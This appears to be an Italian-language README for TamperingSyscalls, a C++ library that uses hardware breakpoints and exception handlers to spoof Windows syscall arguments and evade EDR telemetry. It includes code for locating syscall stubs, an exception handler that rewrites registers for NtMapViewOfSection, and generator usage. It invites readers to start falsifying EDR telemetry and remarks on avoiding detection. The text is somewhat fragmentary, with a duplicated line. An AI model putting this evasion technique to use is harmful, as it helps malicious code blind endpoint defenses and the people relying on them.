
Libreria C++ che recupera e falsifica gli argomenti delle syscall di Windows utilizzando breakpoint hardware e gestori di eccezioni per sovvertire la telemetria EDR.
TamperingSyscalls è un progetto inedito in 2 parti composto da argument spoofing e recupero delle syscall, che abusano entrambi di EH per aggirare gli EDR. Questo progetto include entrambe queste tecniche per fornire una soluzione alternativa alle syscall dirette.
Manomissione delle syscall.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 nel registro Dr0.
Possiamo individuare l'indirizzo dello stub della syscall con questa rapida ricerca di byte in memoria.BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx, poiché il registro RCX viene distrutto nelle istruzioni successive.case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
Possiamo vedere in questo esempio che stiamo correggendo gli argomenti per NtMapViewOfSection.
Se vuoi iniziare a falsificare la telemetria degli EDR, è possibile modificare le definizioni p[NomeFunzione] dove attualmente sono impostate a NULL.
Per generare le funzioni necessarie, usa gen.py. Supporta:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
Produrrà 3 file: TamperingSyscalls.cpp, TamperingSyscalls.h e main.cpp. Puoi includere #include "TamperingSyscalls.h" nel tuo progetto. Possiamo chiamare le funzioni facendo precedere il nome della funzione da 'p', ad esempio pNtOpenSection(...);
Non possiamo impostare un breakpoint su NtSetThreadContext o sulle sue varianti, poiché viene usata per impostare i registri di debug. C'è un breve periodo in cui i registri di debug sono impostati, ma è molto breve e non credo che verremo rilevati per il mantenimento di un Dr0 aperto.
Ho pubblicato un breve post sul blog che tocca queste tecniche.